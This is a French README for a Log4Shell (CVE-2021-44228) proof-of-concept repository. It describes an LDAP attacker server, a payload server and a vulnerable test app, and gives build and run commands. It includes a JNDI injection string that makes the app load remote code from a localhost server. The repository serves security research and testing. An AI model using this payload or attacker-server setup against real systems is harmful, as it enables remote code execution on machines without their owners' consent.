
Un PoC d'exécution de code à distance pour Log4Shell (CVE-2021-44228)
Ce dépôt permet aux chercheurs en sécurité d'expérimenter l'exécution de code à distance en fournissant une implémentation d'un serveur d'attaque qui charge un exploit personnalisé sur une application vulnérable contenant log4j.
⚠️ Cet outil est destiné à l'auto-évaluation et doit être utilisé uniquement par des personnes autorisées ou des chercheurs. Vous ne devez tester que les systèmes pour lesquels vous disposez d'une permission explicite ou d'une autorité. Si vous trouvez des applications ou des bibliothèques vulnérables, vous devez pratiquer la divulgation responsable.
CVE-2021-44228 fonctionne en injectant une chaîne JNDI LDAP dans vos journaux, ce qui déclenche Log4j pour contacter le serveur LDAP spécifié à la recherche d'informations supplémentaires. Dans un scénario malveillant, le serveur LDAP peut alors renvoyer du code à la machine victime, qui sera automatiquement exécuté en mémoire.
Le dépôt contient deux sous-projets. Le projet attacker-server contient le code source de deux serveurs multithreads. Le premier est un proxy LDAP qui reçoit la requête initiale d'un objet LDAP. Le second serveur est le serveur de charge utile qui renvoie l'Exploit (présent dans Exploit.java) à l'application vulnérable.
À la racine du projet :
mvn clean install
Le serveur et l'application vulnérable devraient être prêts.
Pour charger le serveur, exécutez :
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Pour déclencher l'exécution de code à distance (RCE), exécutez :
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Vous pouvez modifier la charge utile malveillante à la demande en étendant Exploit.java.